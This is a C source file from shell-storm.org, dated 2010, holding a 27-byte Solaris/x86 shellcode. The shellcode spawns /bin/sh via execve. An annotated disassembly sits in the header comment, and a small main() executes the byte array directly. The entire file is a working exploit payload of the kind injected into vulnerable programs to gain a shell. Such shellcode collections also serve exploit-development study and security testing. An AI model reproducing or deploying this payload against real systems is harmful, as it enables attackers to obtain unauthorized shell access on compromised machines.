/* Title: Solaris/x86 - execve("/bin/sh","/bin/sh",NULL) - 27 bytes Author: Jonathan Salwan <submit AT shell-storm.org> Web: http://www.shell-storm.org Twitter: http://twitter.com/jonathansalwan Date: 2010-05-19 Tested: SunOS opensolaris 5.11 snv_111b i86pc i386 i86pc Solaris section .text 0x8048074: 31 c0 xorl %eax,%eax 0x8048076: 50 pushl %eax 0x8048077: 68 6e 2f 73 68 pushl $0x68732f6e 0x804807c: 68 2f 2f 62 69 pushl $0x69622f2f 0x8048081: 89 e3 movl %esp,%ebx 0x8048083: 50 pushl %eax 0x8048084: 53 pushl %ebx 0x8048085: 89 e2 movl %esp,%edx 0x8048087: 50 pushl %eax 0x8048088: 52 pushl %edx 0x8048089: 53 pushl %ebx 0x804808a: b0 3b movb $0x3b,%al 0x804808c: 50 pushl %eax 0x804808d: cd 91 int $0x91 */ #include <stdio.h> char sc[] = "\x31\xc0\x50\x68\x6e\x2f" "\x73\x68\x68\x2f\x2f\x62" "\x69\x89\xe3\x50\x53\x89" "\xe2\x50\x52\x53\xb0\x3b" "\x50\xcd\x91"; int main(void) { fprintf(stdout,"Length: %d\n",strlen(sc)); (*(void(*)()) sc)(); return 0; }